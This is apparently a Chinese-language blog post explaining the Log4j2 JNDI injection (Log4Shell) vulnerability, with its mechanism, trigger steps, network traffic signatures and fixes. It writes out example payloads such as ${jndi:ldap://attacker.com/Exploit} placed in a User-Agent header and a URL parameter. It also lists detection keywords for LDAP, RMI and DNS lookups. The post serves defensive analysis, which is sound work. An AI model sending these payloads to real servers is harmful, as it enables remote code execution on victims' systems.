Log4j2原理与流量特征

Log4j2 漏洞概述

Log4j2 是 Apache 软件基金会开发的一个日志框架,广泛用于 Java 应用中记录运行时日志。漏洞主要源于 Log4j2 的日志处理功能中,某些特性(如 JNDI 注入)被攻击者滥用,从而引发严重的远程代码执行(RCE)漏洞。

漏洞原理

Apache Log4j2 的 JNDI Lookup 功能允许通过日志消息中的 JNDI 名称引用外部资源。攻击者可以构造包含恶意 JNDI 名称的日志消息,通过网络发送给受影响的应用程序。当 Log4j2 解析日志消息时,会尝试加载远程恶意脚本,从而RCE漏洞产生

JNDI 注入

  • JNDI(Java Naming and Directory Interface) 是 Java 提供的一种目录服务 API,用于查找和加载资源或对象。
  • Log4j2 在日志功能中支持动态解析类似 ${} 的占位符字符串,提供了强大的灵活性。
  • 当日志字符串中包含 ${jndi:ldap://malicious-server} 时,Log4j2 会尝试通过 JNDI 去远程加载资源。如果目标是攻击者控制的恶意 LDAP 服务器,则攻击者可以返回恶意的 Java 类字节码,导致远程代码执行。

漏洞触发过程

  1. 攻击者构造一个恶意日志字符串,例如:

    ${jndi:ldap://attacker.com/Exploit}
    
  2. 该字符串被传递到应用程序的日志处理逻辑(例如 logger.info())。

  3. Log4j2 解析日志字符串中的 JNDI 表达式,尝试通过 LDAP 或其他协议加载远程对象。

  4. 如果恶意服务器返回一个恶意 Java 类文件,Log4j2 会加载并执行该类的字节码,触发 RCE。


流量特征

  • 请求头中的useragent头或者是referer或含有包含 ${jndi:...} 的形式,后续跟上攻击者控制的远程服务器地址,还有一些协议协议关键字,例如ldap:// , rmi:// , dns://

    • image
  • HTTP请求中包含特定的User-Agent头,如“ Log4j2”或“ Log4jAPI/2.0.8”等,可能还有有一些恶意的密文

  • 攻击成功后可能会有,“JNDI lookup successful”,${env:os.name}${env:hostname}等动态信息

漏洞利用方式

常见的攻击场景

  1. 通过 HTTP 请求头
    攻击者将恶意字符串注入到 HTTP 请求头(如 User-AgentReferer)中。例如:

    GET / HTTP/1.1
    Host: victim.com
    User-Agent: ${jndi:ldap://attacker.com/Exploit}
    
  2. 通过 HTTP 请求参数
    恶意字符串被注入到 URL 参数中。例如:

    http://victim.com/search?query=${jndi:ldap://attacker.com/Exploit}
    

漏洞修复

  1. 升级 Log4j2 版本
  2. 禁用 JNDI 功能
  3. 移除 JndiLookup
  4. 升级依赖软件
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

CongSec

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值